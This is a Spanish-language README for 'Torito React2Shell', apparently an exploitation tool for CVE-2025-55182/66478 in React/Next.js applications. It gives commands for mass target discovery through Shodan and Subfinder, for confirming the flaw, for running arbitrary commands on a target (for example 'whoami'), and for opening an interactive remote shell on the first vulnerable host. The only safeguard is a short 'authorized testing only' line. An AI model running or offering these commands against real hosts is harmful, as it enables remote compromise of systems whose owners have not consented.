Torito React2Shell: Escáner y Herramienta de Explotación (CVE-2025-55182 / 66478)

Requisitos

• Python 3.9+
• pip install -r requirements.txt
• Binario de Subfinder en PATH para --subfinder (instalar mediante Homebrew brew install subfinder o Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; proyecto: https://github.com/projectdiscovery/subfinder)
• El uso de Shodan requiere pip install shodan (ya incluido en requirements) y una clave: export SHODAN_API_KEY=... con créditos de consulta disponibles

Uso

python3 torito_r2s.py --help

Banderas

Ejemplos

Sondeo seguro (objetivo único)

python3 torito_r2s.py -u https://target.com

Confirmación de PoC (redirección por canal lateral)

python3 torito_r2s.py -u https://target.com --confirm

Explotación con comando personalizado

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

Shell interactivo en el primer acierto

python3 torito_r2s.py -u https://target.com --shell

Escaneo de lista con exportaciones

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Solo Shodan (requiere clave y créditos)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Solo Subfinder

python3 torito_r2s.py --subfinder target.com --confirm

Proxy (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

Tubería mediante stdin

cat urls.txt | python3 torito_r2s.py --confirm

Notas de salida

• La tabla muestra huella digital (NX/AR), sondeo, confirmación, explotación.
• Los resúmenes de explotación se decodifican en base64 cuando es posible; el modo verbose muestra vistas previas.
• JSON/CSV incluyen resumen crudo y salida decodificada (si la hay).

Seguridad

• Solo para pruebas autorizadas.
• La ejecución predeterminada es un sondeo no destructivo; la explotación se ejecuta solo con --exploit-cmd o --shell.